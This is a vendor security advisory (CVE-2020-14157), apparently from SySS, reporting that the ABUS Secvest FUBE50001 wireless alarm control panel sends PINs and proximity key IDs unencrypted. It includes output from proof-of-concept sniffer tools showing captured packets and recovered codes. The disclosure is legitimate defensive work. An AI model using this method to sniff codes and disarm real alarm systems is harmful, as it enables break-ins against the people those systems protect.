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## https://sploitus.com/exploit?id=1337DAY-ID-34599
Product: ABUS Secvest Wireless Control Device (FUBE50001)
Manufacturer: ABUS
Affected Version(s): N/A
Tested Version(s): N/A
Vulnerability Type: Missing Encryption of Sensitive Data (CWE-311)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2020-04-03
Solution Date: -
Public Disclosure: 2020-06-17
CVE Reference: CVE-2020-14157
Authors of Advisory: Michael Rüttgers, Thomas Detert,
                     Matthias Deeg (SySS GmbH)

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Overview:

ABUS Secvest Wireless Control Device (FUBE50001) is a wireless control
panel for the ABUS Secvest wireless alarm system.

Some of the device features as described by the manufacturer are
(see [1]):

"
* Easy operation via code or proximity keyfob
  The Secvest wireless control panel is an optional Secvest accessory.
  Every wireless control panel can be operated from your system via PIN
  code. It is possible to arm and disarm the panel via proximity keyfob.

* Flexible use in entrance areas
  Up to 8 control panels can be integrated into the alarm system. These
  additional modules can be placed in various areas of the building.
  This provides added convenience for you, because Secvest can be armed
  and disarmed directly on the wireless control panel, without the need
  to go back to the central alarm panel every time.
  In addition to internal arming or arming individual sub-areas, you can
  also switch a single output, such as the garage door, if desired.

* Secure wireless communication
  Thanks to a secure wireless communication procedure, this product is
  protected against ‘replay attacks’, as are the Secvest wireless alarm
  system and Secvest Touch alarm systems. This procedure for preventing
  third-party tampering exceeds the requirements of the “DIN EN 50131-1
  level 2” security standard.
"

Due to the missing encryption of the wireless communication, an attacker
is able to eavesdrop sensitive data as cleartext, for instance, used PINs
or proximity token IDs.

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Vulnerability Details:

Michael Rüttgers found out that the wireless communication of the ABUS
Secvest Wireless Control Device (FUBE50001) for transmitting sensitive
data like PIN codes or IDs of used proximity chip keys (RFID tokens) is
not encrypted.

This security issue is related to the insecure wireless transmission of
sensitive data of the ABUS Secvest remote controls FUBE50014 and
FUBE50015 reported back in 2018 (see SySS security advisory
SYSS-2018-035 [2]).

Thus, an attacker observing radio signals of an ABUS FUBE50001
wireless control panel is able to see all sensitive data of transmitted
packets as cleartext and can analyze the used packet format and the
communication protocol.

For instance, this security issue could successfully be exploited to
sniff used PIN codes and used proximity chip key IDs.

By knowing the correct PIN code or the ID of a valid ABUS Secvest
proximity chip key, an attacker is able to disarm the wireless alarm
system in an unauthorized way.

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Proof of Concept (PoC):

Michael Rüttgers, Thomas Detert, and Matthias Deeg developed different
PoC software tools, either for the RFCat-based radio dongle YARD Stick
One [3] in one version, or the GreatFet One neighbor Erica [4] in another
one, that allowed sniffing out used PIN codes or used proximity chip key
IDs when eavesdropping on the FUBE50001 wireless communication.

The following output exemplarily shows a successful PIN code sniffing
attack:

$ python2 abus_fube50001_pin_sniffer.py
ABUS Secvest FUBE50001 PIN Code Sniffer PoC - SySS GmbH (c) 2020
by Thomas Detert, Michael Rüttgers, and Matthias Deeg
---
[*] Listening for ABUS FUBE50001 packets ...
[*] Received packet:
f0f352b4ccb4ccd52aab52d2acd2d34d4cb34cb333332b34d4b530f0f0f352b4ccb4ccd52aab52d2acd2d34d4cb34cb333332b34d4b530f0f0f333333333117162f5
[*] Decoded packet : da0a077ed5c549888800626b
[*] Received packet:
f0f352b4b32b4d352ad5332aab2cb34cd3332cccb4ccacb354acaaaaccccd2ab32aab54d30f0f0f352b4b32b4d352ad5332aab2cb34cd3332cccb4ccacb354acaaaa
[*] Decoded packet : da86937707e4884040a0c8ecff005e1fb9
[*] Detected FUBE50001 packet with FUBE50001 PIN
[+] Sniffed PIN code: 1337
(...)

An example of a successful sniffing attack regarding the ID of an ABUS
proximity chip key is illustrated in the following output:

$ python2 abus_fube50001_chip_key_id_sniffer.py
ABUS Secvest FUBE50001 Proximity Chip Key ID Sniffer PoC - SySS GmbH (c)
2020
by Thomas Detert, Michael Rüttgers, and Matthias Deeg
---
[*] Listening for ABUS FUBE50001 packets ...
[*] Received packet:
f0f352b4b332b2cad52accd554d34cb32cccd33332b34ab2cd2b2d4ad32ad2aacaacd32b30f0f0f3057c0764bf788b6ce7d0de43f6c1cb71e7374b7bd7c7a1abe567
[*] Decoded packet: da81937707e488404018b9165b475f3c46
[*] Detected FUBE50001 packet with proximity token ID
[+] Sniffed proximity chip key ID: 3805964445
(...)


The described sniffing attacks are also demonstrated in the SySS
Proof-of-Concept Video titled "ABUS Secvest Sniffing Attack" which is
available on the SySS YouTube Channel [8].

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